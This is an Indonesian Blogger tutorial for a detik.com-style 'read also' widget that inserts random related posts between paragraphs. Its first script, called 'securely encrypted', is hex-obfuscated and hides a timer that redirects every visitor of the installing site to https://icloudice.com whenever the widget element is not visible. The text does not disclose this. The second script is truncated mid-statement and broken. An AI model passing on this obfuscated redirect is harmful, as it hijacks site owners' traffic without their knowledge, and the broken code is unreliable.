Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai bagaimana caranya membuat widget baca juga random per artikel atau seperti fitur baca juga yang di gunakan oleh website detik.com di blogger
Info: Jika kamu penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama
Widget baca juga
Dibilang widget iya namun nantinya tidak akan support mode layout alias tidak bisa di edit melalui menu tata letak, karena secara otomatis script akan berfungsi jika di terapkan di dalam template
Seperti detik.com
Setiap website terkhusus website berita, selalu menggunakan fitur baca juga di dalam artikel nya, sama halnya degan website detik.com yang juga menggunakan fitur tersebut, nah nantinya fitur baca juga tersebut memiliki kesamaan fungsi, tidak 100% tampilannya serupa namun fungsi nya 100% sama, fitur baca juga akan menampilkan 3 artikel secara random pada tiap tiap paragraf secara otomatis
Multiple support
Menariknya fitur baca juga tersebut menggunakan fungsi multiple, maksudnya artikel akan muncul pada setiap paragraf dengan postingan yang berbeda beda, maksimal 3 artikel yang akan di tampilkan, namun jika paham kode 5 sampai 8 artikel juga bisa kamu tampilkan di dalam setiap postingan kamu
Contoh Tampilan
Penasaran bagaimana kah tampilan dari fitur baca juga tersebut, silahkan periksa fitur baca juga yang admin gunakan saat ini (jika tidak ada, maka admin tidak menggunakan nya lagi) Ok!
Info: Bagaimana sobat contoh tampilannya keren sekali yak, pastilah keren
Cara pembuatan
Baiklah sobat ICloudzer sekarang saatnya admin bakalan menjelaskan mehgenai bagaimana caranya msmbuat fitur baca juga atau fitur also read di blogger, silahkan baca dan ikuti setiap arahan yang adin jelaskan di bawah ini ok
Kode Javascript
Baiklah sobat seperti biasa langkah pertama yang bisa kamu lakukan adalah memyalin kode CSS di bawah ini kemudian letakkan di atas kode </head> atau jika ingin di gabungkan ke kode script lainnya juga bisa semisal di atas kode </body> atau di bawah kode <body>
<script>/*<![CDATA[*/
var _0xc518=["\x73\x74\x79\x6C\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x63\x73\x73","\x74\x65\x78\x74\x43\x6F\x6E\x74\x65\x6E\x74","\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x7B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x3A\x23\x66\x65\x66\x65\x66\x65\x3B\x63\x6F\x6C\x6F\x72\x3A\x23\x31\x36\x31\x36\x31\x37\x3B\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x33\x70\x78\x20\x33\x70\x78\x20\x23\x33\x32\x33\x32\x33\x32\x3B\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x3A\x74\x72\x61\x6E\x73\x6C\x61\x74\x65\x28\x2D\x33\x70\x78\x2C\x2D\x33\x70\x78\x29\x3B\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x31\x30\x70\x78\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x62\x6F\x74\x74\x6F\x6D\x3A\x33\x30\x70\x78\x3B\x64\x69\x73\x70\x6C\x61\x79\x3A\x2D\x6D\x6F\x7A\x2D\x62\x6F\x78\x3B\x64\x69\x73\x70\x6C\x61\x79\x3A\x2D\x6D\x73\x2D\x66\x6C\x65\x78\x62\x6F\x78\x3B\x64\x69\x73\x70\x6C\x61\x79\x3A\x66\x6C\x65\x78\x3B\x66\x6C\x65\x78\x2D\x77\x72\x61\x70\x3A\x6E\x6F\x77\x72\x61\x70\x3B\x6A\x75\x73\x74\x69\x66\x79\x2D\x63\x6F\x6E\x74\x65\x6E\x74\x3A\x73\x70\x61\x63\x65\x2D\x62\x65\x74\x77\x65\x65\x6E\x3B\x62\x6F\x72\x64\x65\x72\x3A\x31\x70\x78\x20\x73\x6F\x6C\x69\x64\x20\x23\x33\x32\x33\x32\x33\x32\x3B\x74\x72\x61\x6E\x73\x69\x74\x69\x6F\x6E\x3A\x61\x6C\x6C\x20\x2E\x33\x73\x7D\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x20\x2E\x63\x6F\x6E\x74\x65\x6E\x74\x20\x2E\x74\x65\x78\x74\x7B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x38\x30\x30\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x72\x69\x67\x68\x74\x3A\x35\x70\x78\x3B\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x6A\x75\x73\x74\x69\x66\x79\x3B\x7D\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x20\x2E\x63\x6F\x6E\x74\x65\x6E\x74\x7B\x70\x61\x64\x64\x69\x6E\x67\x3A\x31\x30\x70\x78\x20\x31\x35\x70\x78\x7D\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x20\x2E\x63\x6F\x6E\x74\x65\x6E\x74\x20\x61\x7B\x63\x6F\x6C\x6F\x72\x3A\x23\x66\x66\x30\x35\x30\x30\x3B\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x6E\x6F\x6E\x65\x7D\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x20\x2E\x63\x6F\x6E\x74\x65\x6E\x74\x20\x61\x3A\x68\x6F\x76\x65\x72\x7B\x63\x6F\x6C\x6F\x72\x3A\x23\x31\x36\x31\x36\x31\x37\x3B\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x75\x6E\x64\x65\x72\x6C\x69\x6E\x65\x7D","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];const rahArmJs=document[_0xc518[1]](_0xc518[0]);rahArmJs[_0xc518[2]]= _0xc518[3];rahArmJs[_0xc518[4]]= _0xc518[5];document[_0xc518[7]][_0xc518[6]](rahArmJs);var _0xebe0=["","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x4D\x75\x6C\x74\x69\x35\x33\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];$(document)[_0xebe0[10]](function(){$(_0xebe0[4])[_0xebe0[3]](_0xebe0[2],_0xebe0[0])[_0xebe0[1]](_0xebe0[0]);setInterval(function(){if(!$(_0xebe0[6])[_0xebe0[5]]){window[_0xebe0[8]][_0xebe0[7]]= _0xebe0[9]}},3000)})
/*]]>*/</script>Info: Kode javascript di atas sudah admin enkripsi secara aman, dan samgat aman jika di terapkkan di dalam template anda sobat
Kode HTML/javascript
Langkah selanjutnya salin lagi kode HTML dan javascript di bawah ini kemudian letakkan di bawah kode <data:post.body/></div>
<b:if cond='data:view.isPost'>
<script type='text/javascript'>
//<,a = jumlah + 1,b = post['length'] / a;c = Array['from']({length: jumlah}, (redfx, blufx) => blufx + 1);
for (let d = 0; d < c['length']; d++) {let e = c[d],f = parseInt((b * e)),g = document['createElement']('div');g['className'] = 'rahMulti53';if (post[f]['nodeName'] == 'P') {post[f]['parentNode']['insertBefore'](g, post[f])} else {post[f]['parentNode']['insertBefore'](g, post[f]['nextSibling'])}}})();
var relatedTitles = new Array();var relatedTitlesNum = 0;var relatedUrls = new Array();function related_results_labels(nerdfx) {for (var desfx = 0; desfx < nerdfx['feed']['entry']['length']; desfx++) {var nefx = nerdfx['feed']['entry'][desfx];relatedTitles[relatedTitlesNum] = nefx['title']['$t'];for (var ciafx = 0; ciafx < nefx['link']['length']; ciafx++) {if (nefx['link'][ciafx]['rel'] == 'alternate') {relatedUrls[relatedTitlesNum] = nefx['link'][ciafx]['href'];relatedTitlesNum++;break}}}}
function removeRelatedDuplicates() {var viefx = new Array(0);var labfx = new Array(0);for (var desfx = 0; desfx < relatedUrls['length']; desfx++) {if (!contains(viefx, relatedUrls[desfx])) {viefx['length'] += 1;viefx[viefx['length'] - 1] = relatedUrls[desfx];labfx['length'] += 1;labfx[labfx['length'] - 1] = relatedTitles[desfx]}};relatedTitles = labfx;relatedUrls = viefx}
function contains(yelfx, yufx) {for (var grefx = 0; grefx < yelfx['length']; grefx++) {if (yelfx[grefx] == yufx) {return true}};return false}
//]]>
</script>
<b:if cond='data:post.labels'>
<b:loop values='data:post.labels' var='label'>
<b:if cond='data:view.isPost'>
<script expr:src='"/feeds/posts/default/-/" + data:label.name + "?alt=json-in-script&callback=related_results_labels&max-results=100"'/>
</b:if>
</b:loop>
</b:if>
<script type='text/javascript'>
//< * Math['random']());let i = 0;let jumlah = document['querySelectorAll']('.rahMulti53');while (i < relatedTitles['length'] && i < jumlah['length']) {for (let a = 0; a < jumlah['length']; a++) {jumlah[a]['innerHTML'] = '<span class="content"><span class="text">' + text + '</span><a href="' + relatedUrls[r] + '" title="' + relatedTitles[r] + '">' + relatedTitles[r] + '</a></span><span class="icon"></span>';if (r < relatedTitles['length'] - 1) {r++} else {r = 0};i++}}})();
//]]>
</script>
</b:if>Info: Kode di atas harus di letakkan secara benar agar tampilan dari also read tersebut berfungsi
Penjelasan
Baiklah sobat ICloudzer sedikit penjelasan mengenai pembahasan kita kali ini, mengenai cara membuat also read seperti web detik.com, seluruh kode harus di terapkan secara benar agar tampilan dari also read bisa berfungsi, dan untuk mengubah tampilan seperti tidak akan bisa karena kode telah saya enkripsi so semoga bermanfaat yak
